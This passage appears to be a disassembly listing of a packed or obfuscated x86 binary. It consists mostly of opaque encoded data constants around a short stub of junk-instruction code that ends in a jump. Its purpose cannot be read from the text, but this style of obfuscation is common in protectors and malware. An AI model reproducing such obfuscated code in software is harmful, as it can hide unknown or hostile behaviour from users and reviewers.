		dd 0A5FFh, 15C7FD00h, 5404ED02h, 91452E43h, 0D5887186h
		dd 5D0C9529h, 2142FFE1h, 8CE070Ch, 5F77440Fh, 0A9BED97Ch
		dd 453182A4h, 36F6D5F9h, 7B9C3B1Eh, 63F76C8Eh, 2DE7F0A8h
		dd 0D3EB978Ah, 5116C3ACh, 1DC09186h, 41622FFAh,	2FEE272Ch
		dd 26E0165Ch, 0DFE6D359h, 13C3A6BEh, 5706EF04h,	0B8FE5340h
		dd 0D3592682h, 8C698188h, 7C1E9B18h, 6815905Bh,	83D877FDh
		dd 0C08B8C4Ah, 62839443h, 26245A4Ah, 0B2EBD359h, 5F2CF7E0h
		dd 318169A5h, 2F470DE6h, 7353686Fh, 771EF6h, 90600000h
		dd 59704D80h, 1A8532D3h, 15C7465Ch, 5404ED02h, 7F1D5643h
		dd 0B70D9E58h, 0A80847D5h, 0DA806990h, 4EA3A8BDh, 5897D208h
		dd 0B9D1D8D3h, 0FE4407D6h, 0D35897C8h, 534417CEh, 0AD9ABB88h
		dd 58973167h, 0F3037D3h, 0A54211FAh, 4D1AE5F2h,	6B2E172Ch
		dd 0A96E576Ch, 5B9499AEh, 2F28EEB9h, 0AB769764h, 33E3C6DEh
		dd 0ACB0F24h, 0D000000h, 0B0A772ABh, 320018E5h,	116C794h
		dd 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh, 0E6F1A421h, 0D8FF9E1Bh
		dd 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h, 89573CF4h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 81E68956h, 4C6h
		dd 4EE8100h, 87000000h,	895C2434h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	7AF75F7h
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	20A6h
		mov	[esp], edx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58941B
; ---------------------------------------------------------------------------
		db 0F6h, 0F8h, 8
		dd 55B8282Fh, 307AF7Bh,	0E9D38BC5h, 4923h, 71C3BDCh, 44597E1Eh
		dd 859ABD5Bh, 0C4D9FE9Ch, 0A1F38DBh, 5D8CDFCh, 4514FD12h
		dd 87543D52h, 0C0927B90h, 43E2C2D7h, 0A9F5C7FDh, 8533CDCBh
		dd 14C71802h, 4DCD2F03h, 2F0314C7h, 10C74DCDh, 34E11A07h
		dd 0AB250B23h, 0E5B0A772h, 8A230018h, 70B9EF35h, 0FD9CD359h
		dd 6B252CDAh, 0EA604498h, 4D334B99h, 56AB2AF0h,	5970DA10h
		dd 0C1D9E0D3h, 0C7A93BA6h, 0AB2F0314h, 46087E89h, 0FC1447B3h
		dd 0C797D0D5h, 0C7D2B8D0h, 0C2170413h, 5970467Ch, 33794CD3h
		dd 0D3596FFDh, 0C3DBFC03h, 0C74DCDDDh, 0AB2F0314h, 70DA1056h
		dd 29E0D359h, 324A6B6Ch, 0FCD060Bh, 58703D08h, 0A072AB72h
		dd 71FECB7h, 78657224h,	70A7DD23h, 0A6ADD359h, 34CDA88Eh
		dd 706399DFh, 0E42AD359h, 0D35970AEh, 0F8FFADB4h, 14C7FAE0h
		dd 97832F03h, 0DA1056ABh, 0E0D35970h, 0A06B6C29h, 37E1B2D3h
		dd 70885520h, 0FBCFC88Dh, 14C74DCDh, 59700D46h,	0FE9BD4D3h
		dd 0FA01C1D9h, 0A272AB26h, 51DEAB5h, 89ABDEF2h,	70CAD102h
		dd 0D6B9D17Fh, 0A1B66601h, 89ABAC80h, 0B6FC1167h, 0D358A080h
		dd 0FFC57F86h, 184E9483h, 1ED35912h, 0CBDEF617h, 8FAD6DB7h
		dd 72AB9224h, 1CE9B4A3h, 65722104h, 457E8391h, 0E8B58097h
		dd 8A554217h, 0C7BFA5BDh, 832F0314h, 3813C797h,	5970BCF2h
		dd 9ABBC2D3h, 0F7778BADh, 441CE33Fh, 4DCD462Ch,	2E0215C7h
		dd 0BCBA4DCDh, 9C72A260h, 89AB5CBEh, 9B753FADh,	0B4EA307Ch
		dd 0BAD3590Bh, 5F7A92B3h, 17C762F4h, 45B57D67h,	30519CF0h
		dd 0C74DCD5Ch, 0DA130017h, 85521D3Ah, 6874A0CBh, 677F9D1Eh
		dd 0C74DCD81h, 0AB2F0314h, 2FCD6789h, 4A623A01h, 5CBEED6Dh
		dd 0AB92248Fh, 0E8B3A472h, 0D5B6611Bh, 0CB806A7Eh, 0D0AD0B3h
		dd 0C763B739h, 0B7310512h, 710C763h, 0FD1ABF3Ch, 0E9546D32h
		dd 0ABE7170Ah, 0F4D72C89h, 40589BF7h, 0AB28BA25h, 9DB5A272h
		dd 27FB1CBAh, 0E6A572ABh, 59706AA0h, 486970D3h,	0AB260030h
		dd 9FB7A072h, 0B46519BCh, 0C48A7C37h, 53A3D91Fh, 0A2A9D359h
		dd 0CD8C6081h, 0D933BA4Dh, 0BE139CBBh, 0A072AB5Ch, 0A96FECB7h
		dd 0F516E3AEh, 0C557C2DDh, 130017C7h, 0AD6C3BDAh, 8B7189AAh
		dd 13C79783h, 7CC21704h, 0D3597046h, 472D454Ch,	14C74DCDh
		dd 4DCD2F03h, 72AB2AF0h, 425502A5h, 83EE0921h, 0DDFA9FD8h
		dd 13C7DFC5h, 7E833004h, 70ADE329h, 13B3D359h, 0BCA7ABDFh
		dd 0E4FC1D74h, 17C7FEh,	0C74DCD2Ch, 92855413h, 8D4B8471h
		dd 941ECCF1h, 2A4B84EAh, 947A925Fh, 0D6C34DCDh,	8F899159h
		dd 13C79224h, 0E961216Bh, 0F3049CFh, 0C797833Bh, 83300413h
		dd 413C797h, 0A572AB30h, 601AE7B2h, 0DFB511EDh,	1284006h
		dd 710C715h, 0AB4DCD33h, 0ECB7A072h, 1C855486h,	0D2F39C92h
		dd 1D0616BAh, 114A10C7h, 17D35970h, 83973C10h, 130017C7h
		dd 0C7D085BEh, 5970B3E9h, 9AB2B9D3h, 6B8397B4h,	92248FAFh
		dd 193B10C7h, 0D436A96Eh, 2D1D3508h, 0D35896F4h, 6F1FF3FAh
		dd 1056ABABh, 0D35970DAh, 0A6C1D9E0h, 10C7A93Bh, 89AB3307h
		dd 0D91FBC8Ah, 0D3594BA3h, 76E8A2A9h, 0E2BFD72Ch, 710C762h
		dd 1056AB33h, 0D35970DAh, 5008D9E0h, 97AF7C47h,	2AF03ABAh
		dd 0C792248Fh, 0BFF53B10h, 0C5D35970h, 0ABC99DBEh, 70DA1056h
		dd 40E0D359h, 51286060h, 7991B295h, 52BA6652h, 32D359A2h
		dd 0CE2389ABh, 0A67D45EBh, 0EBECAB8Eh, 1056AB17h, 0D35970DAh
		dd 9AC1D9E0h, 0A572ABAEh, 0E3B79AB2h, 9CE07F4h,	8302540Eh
		dd 685F07CAh, 72AB6A50h, 0C29FB7A0h, 4A10C742h,	0D3597011h
		dd 973C1017h, 3FCCC383h, 72ABA179h, 3B5C00A7h, 0B782A370h
		dd 4CB7D2EAh, 1056ABBAh, 0D35970DAh, 0DEC1D9E0h, 4317503Bh
		dd 134C3C54h, 19D35970h, 72AB3E12h, 5F9AB2A5h, 898E4982h
		dd 10C78B71h, 97833307h, 330710C7h, 17C79783h, 0BBF11300h
		dd 2DDA83FDh, 0BBF3296Fh, 0F2F9D358h, 0CDD3B9D1h, 17C74Dh
		dd 0AB83972Ch, 0ECB7A072h, 7724071Fh, 83978C60h, 56AB9882h
		dd 5970DA10h, 0C1D9E0D3h, 0C7A93BA6h, 0DA130017h, 814E193Eh
		dd 20EBECB0h, 0AB553B53h, 70DA1056h, 0D9E0D359h, 0C7C286C1h
		dd 0AB320611h, 0E5B0A772h, 0B90D0018h, 0A772ABh, 0A6733E59h
		dd 0C88A6D85h, 0A07AFBCFh, 8C5017C7h, 0D2F3C08Bh, 1056ABFEh
		dd 0D35970DAh, 0AEC1D9E0h, 17C79Ah, 6D83972Ch, 79248FADh
		dd 41DA7957h, 0F339FDA4h, 0D3588CBDh, 839BBCC3h, 0D16069Dh
		dd 2C0017C7h, 72AB8397h, 0B49BB3A4h, 4CCE49C6h,	0C792248Fh
		dd 6F2C0017h, 92248FABh, 2C0017C7h, 11C79783h, 70BEF43Ah
		dd 0BDC4D359h, 4DCDC89Ch, 0B3A472ABh, 47E0B89Bh, 0EBB88394h
		dd 34CDF6CAh, 243C5BFBh, 0BAF6BA3Eh, 0F0D6D359h, 92248F2Ah
		dd 320611C7h, 11C79783h, 3AE01906h, 70D50B51h, 0D4DBD359h
		dd 0B7B59BB3h, 17C763h,	1A89AB2Ch, 0D70CE25Dh, 0E62556Dh
		dd 248F74A6h, 611C792h,	4E877A32h, 1E39DD8Ah, 0ABFFE5FDh
		dd 9DB5A272h, 25F91EBAh, 17C74DCDh, 4DCD2C00h, 248F6DADh
		dd 611C792h, 457E8332h,	3EBB8691h, 0E5B27D9Ah, 0C7C6ACC4h
		dd 49376D11h, 0E34FFFh,	0FD1E3F58h, 0C74DCD29h,	0DF180512h
		dd 0D04D183Fh, 723F0A0Dh, 0CD533951h, 8F9B7F4Dh, 11C79224h
		dd 89AB3206h, 13E1E019h, 355C74AAh, 5F95DB30h, 65D35938h
		dd 0C760465Eh, 0C4190611h, 5970487Eh, 2F474ED3h, 0C7978349h
		dd 0CD320611h, 0A772AB4Dh, 18E5B0h, 5975E510h, 11C7C5D3h
		dd 0D317183Ah, 0DE5F7DDFh, 58EECA00h, 0DCC9D0D3h, 58EE6096h
		dd 3E5F66D3h, 80B6FC51h, 86D358EEh, 8381677Fh, 0A372AB97h
		dd 1FB99CB4h, 4DCD24F8h, 925BD0C3h, 92248F88h, 190611C7h
		dd 70487EC4h, 474ED359h, 9783492Fh, 300413C7h, 0B2A572ABh
		dd 25021AE7h, 3A11C7A5h, 5970BEF4h, 9CBDC4D3h, 0BE4DCDC8h
		dd 9A89AB5Ch, 0CAC26270h, 85F00B23h, 2361BAF3h,	0C741D35Ah
		dd 83320611h, 611C797h,	0C7978332h, 91865611h, 8F4A8370h
		dd 0D8F0BD88h, 0C74DCDF2h, 0CD330710h, 710C74Dh, 0FB34CD33h
		dd 0A06D385Fh, 0D3C3A288h, 3770915Ch, 755B7364h, 0AB92248Fh
		dd 9CB4A372h, 25F91EB9h, 15C79783h, 63B72E02h, 330710C7h
		dd 10C7A07Ah, 5970114Ah, 0FE4417D3h, 0D35970C8h, 0D2A6C7CEh
		dd 0DA1056ABh, 0E0D35970h, 81AEC1D9h, 70B0E62Ch, 0AFB6D359h
		dd 10C7B197h, 4552023Bh, 70043D2Dh, 30AD359h, 803EDD16h
		dd 0F47281AAh, 69345503h, 979E849Ch, 5D966B83h,	5D29DBAh
		dd 248F07EDh, 4A10C792h, 0D3597011h, 0DDFA9FD8h, 6D2D4512h
		dd 89AB9266h, 908F11C7h, 9ED9F160h, 710C7DAh, 0C7978333h
		dd 0C7845413h, 59704B81h, 294A51D3h, 35E21B08h,	70DA1056h
		dd 0D9E0D359h, 0B7BAA0B8h, 611C763h, 0ABA07A32h, 64EA9C89h
		dd 0F3B5D6EDh, 0EC9A546Fh, 1A604D7Dh, 0D3590CE4h, 0E8CBE3EAh
		dd 0CD512532h, 1056AB4Dh, 0D35970DAh, 0DEC1D9E0h, 0AB44183Fh
		dd 0E5B0A772h, 64149C7Fh, 3E5F9FFEh, 0BEC94926h, 92248F5Ch
		dd 190611C7h, 70487EC4h, 474ED359h, 70DE145Ah, 0DDE4D359h
		dd 63B7DFC5h, 300413C7h, 10C763B7h, 70BFF53Bh, 0BEC5D359h
		dd 8255D29Dh, 0EC05CA95h, 6DA8A281h, 709CD218h,	0F196D359h
		dd 6A6DB95Ah, 11920CEh,	79248F1Bh, 657D9A40h, 3A11C77Fh
		dd 5970BEF4h, 4D0DC4D3h, 0F63C294Ah, 0D35970C0h, 0CA9EBFC6h
		dd 0B1A672ABh
		dd 70487EC4h, 474ED359h, 0D30CFF2Fh, 7C491403h,	11C77E64h
		dd 8DBFC56Dh, 0BFE0A87Fh, 457E83EBh, 0E2B18295h, 0C7F7DDF5h
		dd 0CD310512h, 1056AB4Dh, 0D35970DAh, 5508D9E0h, 92472A42h
		dd 703D73B9h, 3C43D359h, 25F52E1Bh, 2EEA6732h, 62370829h
		dd 0CD775D75h, 507EBA4Dh, 0C45D35Ah, 4A30484Fh,	56AB1FFBh
		dd 5970DA10h, 0C70DE0D3h, 0D3597091h, 576F9097h, 0ED26D13Ch
		dd 8157282Fh, 0C7987E96h, 0DF180512h, 0A718638h, 0DC0D7B39h
		dd 0B23F0BBh, 2289AB25h, 3189EA31h, 5D7A19EAh, 86ADC592h
		dd 4614C79Ah, 0D359700Dh, 18A3B2D4h, 0F674956Bh, 43171EDEh
		dd 0FD5B89ABh, 8C74AAF0h, 737AD358h, 0E41F83B9h, 538CB9CCh
		dd 0F9C69186h, 12C7FBE1h, 926F3105h, 66ED9E70h,	0E0F84097h
		dd 512C7FAh, 0AB839731h, 0C524489h, 0F50D00ACh,	6BE9220Eh
		dd 92248FAFh, 658789ABh, 33CA824Fh, 0DFAC7760h,	16C3A6BEh
		dd 59B9EF35h, 1FBFD359h, 3CBB18F3h, 5B7C9D2Bh, 0ABAB6F87h
		dd 0E8B3A472h, 0F15F031Bh, 92248F66h, 310512C7h, 11C79783h
		dd 4DCD3206h, 0BA0D1606h, 0D35A5B86h, 7CB2F84Dh, 82D35A5Bh
		dd 0AB7D637Bh, 0CF920789h, 9AB24F51h, 22F6E1B7h, 248F9783h
		dd 611C792h, 1D3AE019h,	4DCD1F05h, 0B1A672ABh, 0F7E0B699h
		dd 0A472AB23h, 3EBE9BB3h, 1A067DBAh, 5CBE5D35h,	0C792248Fh
		dd 83320611h, 8196457Eh, 11C78369h, 3BE01906h, 0CD1E041Ch
		dd 3E59FB34h, 0D7C34026h, 64391D3Fh, 0E50F8401h, 8892E7CDh
		dd 0C792248Fh, 90875611h, 8A49826Fh, 0AB8F758Dh, 0EAB5A272h
		dd 0F2DE051Dh, 320611C7h, 0B0A772ABh, 0E52B18E5h, 0D35970AFh
		dd 0A396AEB5h, 314C74Fh, 803EDD16h, 9A87E2BFh, 0FDAFB86h
		dd 0AB442A42h, 799FB189h, 0EABB665Ah, 1F122A2Dh, 0AB0D0DCBh
		dd 9FB7A072h, 0C7871984h, 7A320611h, 5611C7A0h,	0FFCC9780h
		dd 97830ADEh, 310512C7h, 0DA1056ABh, 0E0D35970h, 64E4C1D9h
		dd 310512C7h, 0B5A272ABh, 0C740C09Dh, 0CD310512h, 314C74Dh
		dd 0E5F6F416h, 0EE678DBEh, 0FE3834h, 1D35E7D4h,	1056AB37h
		dd 0D35970DAh, 0E4C1D9E0h, 8F1FFB64h, 12C79224h, 97833105h
		dd 330710C7h, 12C78397h, 8A5D0039h, 30FDC8CFh, 5F77440Fh
		dd 5970366Fh, 59DBFDD3h, 4C4B0A2Eh, 50FAB481h, 7EC4B143h
		dd 0D358D248h, 6F2F474Eh, 83979468h, 0A272946Dh, 0D2826AC7h
		dd 8FE5CBE3h, 17C79224h, 56AB2C00h, 5970DA10h, 8D9E0D3h
		dd 522F4750h, 0A372ABD2h, 41CE9B4h, 75627521h, 60789F3Ch
		dd 0BE4DCD7Ah, 1056AB5Ch, 0D35970DAh, 31FC1BBDh, 5FFFB664h
		dd 7FA06D38h, 4FE14C67h, 130017C7h, 21A3DDAh, 0C383971Ch
		dd 2385AB8h, 9A4ACAD2h,	6DAD93ABh, 92248FADh, 0D76C12C7h
		dd 0C6D1889Eh, 5E94FD0Ch, 1C2E54A4h, 8EAF994Eh,	0C79783BAh
		dd 0C3180512h, 5970477Dh, 2E464DD3h, 0C3839748h, 4CCE5CD3h
		dd 0AB92248Fh, 5D7A1D56h, 5970497Fh, 30484FD3h,	0BB8F884Dh
		dd 14C7AB6Fh, 83972F03h, 0A4317C7h, 10D35970h, 6A973509h
		dd 5D756231h, 8FAD6D77h, 11C79224h, 72AB3206h, 0A99CB4A3h
		dd 1056AB55h, 0D35970DAh, 0DEC1D9E0h, 0F311E39h, 724FE887h
		dd 0D5BBD33Fh, 1A672ABh, 0A224354h, 12C700DAh, 39DF1805h
		dd 8320061Eh, 413C797h,	0C74DCD30h, 0CD330710h,	0A572AB4Dh
		dd 21AE7B2h, 0A1E8CE12h, 0BC5C957Fh, 5D282FEBh,	0D7A46F90h
		dd 13C7D9BFh, 1EBC3904h, 90612EF9h, 83FEC9CEh, 0B28C6BD6h
		dd 669CE237h, 6CD35970h, 0AB674D65h, 0AE001989h, 588F3268h
		dd 773138D3h, 5D173BB6h, 0E77B34B3h, 15304836h,	0B5BA18AAh
		dd 95D359C4h, 300413C7h, 0E3297E83h, 0D35970ADh, 0AE94ACB3h
		dd 0DA1056ABh, 0E0D35970h, 38DEC1D9h, 59F9321Fh, 0CD40263Eh
		dd 6915C74Dh, 0E5E5131Dh, 51254627h, 0A6DF34CDh, 4E1BE6F1h
		dd 59703A70h, 213940D3h, 0AB6DAD3Bh, 70DA1056h,	0D9E0D359h
		dd 7B465108h, 107B96AEh, 6A6D2C65h, 13C76C52h, 97833004h
		dd 2E0215C7h, 72AB4DCDh, 19E6B1A6h, 0B6819648h,	0C5E1D1E9h
		dd 0A55259AAh, 248F5CBEh, 413C792h, 0AB978330h,	0A0E6A572h
		dd 0D359706Ah, 7D486970h, 0E2B598B0h, 4DCD21F5h, 0FE3714C7h
		dd 0F4713C5Bh, 9F6C3720h, 3D76667Eh, 43D35970h,	0FDC8CF8Ch
		dd 0AB3B0F30h, 0E6B7A072h, 0FB0E2631h, 1056ABE7h, 0D35970DAh
		dd 0DEC1D9E0h, 70286139h, 272ED359h, 0E589AB53h, 0D0C796AFh
		dd 637E3805h, 21F3C40Ch, 869E6B36h, 0AD6D5F73h,	0C792248Fh
		dd 0AB300413h, 70DA1056h, 0D9E0D359h, 9562CD1Fh, 1804B7h
		dd 10C7A323h, 7FC51A07h, 0D3597049h, 7094CA10h,	939AD359h
		dd 0ABF1DEE5h, 0D3597075h, 765C747Bh, 0B7A072ABh, 0E0071FECh
		dd 0E2F5A2DBh, 64CEB117h, 36CA296h, 0ABE4CAE2h,	70DA1056h
		dd 0D9E0D359h, 8539DEC1h, 709C1AD4h, 0DCB0D118h, 10C74DCDh
		dd 63B73307h, 330710C7h, 303E89ABh, 76E91506h, 0CAE2F5A5h
		dd 13C783D7h, 70BCF238h, 0BBC2D359h, 8652CF9Ah,	0BA2FC691h
		dd 337E704Fh, 35B86D11h, 374FE3EEh, 92248F51h, 330710C7h
		dd 10C7A07Ah, 97833307h, 23B10C7h, 0AA774255h, 7069A292h
		dd 0F730D359h, 98653027h, 0E5B9C080h, 61316A97h, 0C6DEAB76h
		dd 0A472ABE0h, 31BE8B3h, 85597E20h, 61316A97h, 0C6DEAB76h
		dd 8FAF6BE0h, 10C79224h, 5970114Ah, 0FB9FD8D3h,	574411DCh
		dd 5970DB11h, 0C2DAE1D3h, 8ED46202h, 10A6AF9Ch,	0AB6F1BEFh
		dd 1A0710C7h, 0DAC212F8h, 0F9117CB0h, 457E8313h, 22BB8691h
		dd 5970A6DCh, 84A5ACD3h, 4CC184CAh, 119F5B8h, 215C71Bh
		dd 0A272AB2Eh, 40C09DB5h, 150215C7h, 71F38DCh, 0C74DCD21h
		dd 102F6A14h, 5E1AFDF7h, 4417503Dh, 0A3BB8853h,	1234CDBDh
		dd 20F8B147h, 0FF107D37h, 0FB735971h, 356BB106h, 3BD35970h
		dd 8F361C34h, 0D9577924h, 7AEA12Ah, 0C711F70Fh,	0BAF03615h
		dd 0C0D35970h, 7F4A4D09h, 9C7091B2h, 15C79783h,	4DCD2E02h
		dd 0DA1056ABh, 0E0D35970h, 0A36E6929h, 0BA9DB5D6h, 0CD29FD1Ah
		dd 8F2AF04Dh, 15C79224h, 97832E02h, 8F6D11C7h, 0D3C55709h
		dd 82356C26h, 0FA3699FDh, 4DCD05D9h, 0D2A0D8BAh, 5CBEB8C7h
		dd 0C792248Fh, 0CD2E0215h, 3C5BFB34h, 0A68CA471h, 6C9689ABh
		dd 7912185Eh, 0B9DE7E61h, 0C763B7E5h, 0DA130017h, 804D183Fh
		dd 63B78268h, 72AB74A6h, 7F9AB2A5h, 15C78214h, 89AB2E02h
		dd 1A3D7B75h, 33637B74h, 215C759h, 457E832Eh, 0EFBC8790h
		dd 89ABF1D7h, 8807DD3Fh, 0EED1E9C2h, 8355292Eh,	314C797h
		dd 0C74DCD2Fh, 700D4614h, 9BD4D359h, 4C4DCFBh, 8464BC64h
		dd 0CDDA7112h, 65742E11h, 0D1A5C68Dh, 0D0C38397h, 71A7ED42h
		dd 77D35970h, 0C7725870h, 868B6C12h, 75B01453h,	4A0C8954h
		dd 0A4BD824Dh, 0E905A39h, 440D89ABh, 33FE19BEh,	1B09AC66h
		dd 0CC37526Ah, 3714C73Ah, 0BDEFF515h, 132B11CAh, 589FEA23h
		dd 15E9F0D3h, 0B53B89ABh, 0C2E12D03h, 5970467Ch, 24454CD3h
		dd 0C70DD10Ch, 0DE170413h, 0E74D183Fh, 3296EACEh, 5A7293F5h
		dd 0C763B774h, 0AB2F0314h, 0AADFF989h, 5421ECEBh, 727C119Ah
		dd 0CDE5F2A1h, 14C7C39Dh, 63B72F03h, 130017C7h,	704278BEh
		dd 4148D359h, 63B74329h, 248F52C8h, 314C792h, 0C7A07A2Fh
		dd 94835314h, 0B4EA30C9h, 0BAD35970h, 9D7192B3h, 0C0156A97h
		dd 5970447Ah, 65434AD3h, 0D359702Fh, 30162E35h,	6B21EEC3h
		dd 0C5FB4196h, 0CBD35970h
		dd 8FC6ACC4h, 14C79224h, 0C9948353h, 6F07DBFCh,	314C7ABh
		dd 297832Fh, 0C7180218h, 6B7E6E10h, 0D5AC7446h,	56ABE0B4h
		dd 5970DA10h, 6E29E0D3h, 0B0D19E69h, 0CD22BB98h, 59705187h
		dd 385057D3h, 0C78A9052h, 87E66E10h, 84CE23AEh,	97838F63h
		dd 330710C7h, 0DA1056ABh, 0E0D35970h, 48696E29h, 0ABD35330h
		dd 99B1A672h, 597073A9h, 11C753D3h, 19BE3B06h, 556E33FEh
		dd 0C43C0BEAh, 0C792248Fh, 83330710h, 17C797h, 0C74DCD2Ch
		dd 0CD320611h, 1056AB4Dh, 0D35970DAh, 84DBBCD4h, 2DDB6D7Ah
		dd 0E81E0E26h, 0C8D358FCh, 190611C7h, 4E193EE0h, 0F41502D1h
		dd 98637423h, 83CDB3CBh, 0A472AB97h, 0E0B89BB3h, 70AEA85Eh
		dd 3B5C3EFBh, 0C74DCD67h, 832C0017h, 611C797h, 0AB978332h
		dd 99B1A672h, 9F6E1B6h,	0BB5D0AD0h, 7D637B9Ch, 84BA4DCDh
		dd 4BFC10ECh, 0DBA94629h, 11385F95h, 0A45E65FCh, 89A18940h
		dd 512C7A3h, 0CAA1C318h, 868A9210h, 15D70DEBh, 1EBAD359h
		dd 0B3612EF9h, 1F38DBACh, 97832107h, 310512C7h,	56AB4DCDh
		dd 5970DA10h, 0A640E0D3h, 1BE26E36h, 84512243h,	0FFBD7B93h
		dd 0AB92248Fh, 70DA1056h, 40E0D359h, 9EFA1E32h,	0C6DEFF55h
		dd 12C7B39Fh, 7DC31805h, 0D3597047h, 482E464Dh,	2EEC4DCDh
		dd 0DA1056ABh, 0E0D35970h, 3BA6C1D9h, 95825790h, 0EA0215C4h
		dd 0C7978304h, 0CD310512h, 7081BA4Dh, 8761D359h, 1B03257Ah
		dd 6BAEE3F0h, 0F9FB310Fh, 7CC2D358h, 0D358FA46h, 9097454Ch
		dd 248F9278h, 6C12C792h, 1CE9DC21h, 885C7DCAh, 12C79783h
		dd 75968155h, 0BA4DCDA1h, 0F79784C8h, 314C7A8h,	0FC1BBB38h
		dd 77E2DD31h, 8F2AF098h, 12C79224h, 97833105h, 330710C7h
		dd 89AB4DCDh, 0E9DC3F14h, 4F324ADBh, 0F3BAF48Ah, 91DDE082h
		dd 94B5D6C1h, 0C94DCDC0h, 0A572AB51h, 20975819h, 1536CFD5h
		dd 0A215DA5Bh, 435B82FAh, 0BD12BD28h, 0E4C2D584h, 0D35911AEh
		dd 27D5C291h, 0AB220820h, 5D7A1D56h, 5970497Fh,	30484FD3h
		dd 0B98D8A4Dh, 31D09783h, 706096DCh, 0AF66D359h, 0DAC7E8EFh
		dd 59705E94h, 455D64D3h, 0C74DCD5Fh, 0DF180512h, 0D0064C3Fh
		dd 0D6D35970h, 0B096AECFh, 56AB9783h, 5970DA10h, 0C70DE0D3h
		dd 0D3597091h, 576F9097h, 83C91E3Dh, 0D359704Dh, 0DAFD9C53h
		dd 0BABBA1B9h, 0D3597084h, 8F51C964h, 72AB9224h, 0C3D81CA2h
		dd 9CE63BA0h, 0EBECAA7Bh, 0C7ABC1D3h, 0CD330710h, 17C74Dh
		dd 0FB34CD2Ch, 0CDCA895Eh, 0FC143502h, 8F6DAD16h, 10C79224h
		dd 97833307h, 330710C7h, 0CBBA4DCDh, 0ABDFE2D8h, 791B54ADh
		dd 8F60465Eh, 10C79224h, 89AB3307h, 96F3BA2Bh, 0B8DFF722h
		dd 17C7CCh, 0A772AB2Ch,	18E5B0h, 4AD0EDD9h, 0D81234CDh
		dd 1C46A031h, 0C7A98FA7h, 0AB330710h, 0ECB7A072h, 0B132651Fh
		dd 0A8C847FAh, 0D033B390h, 1056AB4Ah, 0D35970DAh, 70255BA1h
		dd 242BD359h, 58576F76h, 5970E012h, 0BDFE6D3h, 10C79783h
		dd 0D9F81A07h, 2149A110h, 0ABAC92AAh, 9CB4A372h, 72AB8975h
		dd 1CE9B4A3h, 8AC3F204h, 200FC9CEh, 0EE4BE80Dh,	0C7AE94ACh
		dd 0CD310512h, 0AB4AD04Dh, 59702F65h, 0DC7E35D3h, 223F0BBh
		dd 0BA97832Eh, 0D359B1F1h, 0BBDC7FB8h, 250B23F0h, 190611C7h
		dd 0E5843AE0h, 0CDD7ADF8h, 7F4C1738h, 4DCD8167h, 380017C7h
		dd 2F65ABB2h, 0F6D35970h, 2EF91EBDh, 0B6894961h, 59703A70h
		dd 183940D3h, 0A372AB44h, 24455204h, 4D748C59h,	0AB8A9061h
		dd 9BB3A472h, 23F7E0B8h, 72AB9783h, 1AE7B2A5h, 587F1F02h
		dd 0FB34CD84h, 0A06D385Fh, 56ABA288h, 5970DA10h, 0C1D9E0D3h
		dd 59709BD1h, 6E2962D3h, 0B9D19E69h, 17C7D3h, 7A13F113h
		dd 819420DBh, 56AB8369h, 8F5A7D1Dh, 70AEE4C2h, 0ADB4D359h
		dd 0C7826E95h, 0BEF43A11h, 0C4D35970h, 0CDC89CBDh, 17C74Dh
		dd 0C94DCD2Ch, 1056AB51h, 0D35970DAh, 0A6C1D9E0h, 72ABA93Bh
		dd 0B99CB4A3h, 8324F81Fh, 0CD4AD097h, 17C74Dh, 8009F113h
		dd 5A63F9D1h, 0F1F1276Dh, 0F0F7D358h, 7E83F2D8h, 70ADE329h
		dd 68A7D359h, 0B09F3034h, 334B5200h, 314C74Dh, 0FB34CD2Fh
		dd 3D233B5Ch, 14C78A90h, 97832F03h, 2F0314C7h, 84BA4DCDh
		dd 64D35970h, 0F31638C9h, 0E145BB9Ch, 2D28CC0Dh, 6D940C73h
		dd 0C3DBFC9Ch, 92248FDDh, 2F0314C7h, 0C35C7E83h, 60B38B33h
		dd 0C716FC14h, 0CD2F0314h, 0A672AB4Dh, 73A999B1h, 53D35970h
		dd 390413C7h, 70245AA0h, 232AD359h, 0CC978052h,	49738166h
		dd 0FD9AF839h, 23F281ECh, 7B9C6934h, 248F34ACh,	314C792h
		dd 1F38DD16h, 896F8754h, 31D09783h, 1A3225F8h, 0A772AB34h
		dd 18E5B0h, 89ABA323h, 850A9042h, 9ED41A04h, 0A4D35893h
		dd 57C27C9Dh, 0FF801F78h, 37E6C9E1h, 34CD4C20h,	0DD271512h
		dd 0C6DEA87Dh, 0FE3CDEE0h, 3D8EDC04h, 65ABEF75h, 0D3597033h
		dd 0C7D08239h, 210E2FFCh, 0AC20E4FFh, 0C79CF2D4h, 0A26E28CAh
		dd 5EB03F4h, 2D5C7E83h,	871FF539h, 0C7826880h, 832F0314h
		dd 0C7829897h, 0CD320611h, 7084BA4Dh, 0C764D359h, 0F1716717h
		dd 0E5AE8439h, 0DD7CF9C4h, 0C774EFBAh, 52927D5Ch, 0C792248Fh
		dd 0BEF43A11h, 0C4D35970h, 83C89CBDh, 0ADE3297Eh, 0B3D35970h
		dd 0D0AE94ACh, 0A272AB4Ah, 51DEAB5h, 72ABA828h,	1DEAB5A2h
		dd 0C38E894Ch, 5DFBDEF6h, 4DCD663Ah, 3F0F31D0h,	124A0718h
		dd 0ABAD93ABh, 5F781D56h, 70255747h, 242BD359h,	0C7978350h
		dd 83320611h, 0AE89AB97h, 6F0B76B4h, 0FD245AA0h, 232AD358h
		dd 0C2D8EA02h, 2C0017C7h, 13C74DCDh, 1CBC3904h,	8C12DAFBh
		dd 0B0A772ABh, 511C3BDFh, 276D6C84h, 0D3596FF1h, 7F9840F7h
		dd 97838A5Eh, 59B6F2BAh, 0DC80B9D3h, 0C7BDA3BBh, 0BCF23813h
		dd 0C2D35970h, 0CDC69ABBh, 0AB4AD04Dh, 59702F65h, 5BA1F6D3h
		dd 0D3597025h, 4C0C242Bh, 97837145h, 1EB89ABh, 671E06B3h
		dd 6DA6A54Fh, 0AE91A9AEh, 0C902EFE8h, 75420D0Ah, 0AC0C4288h
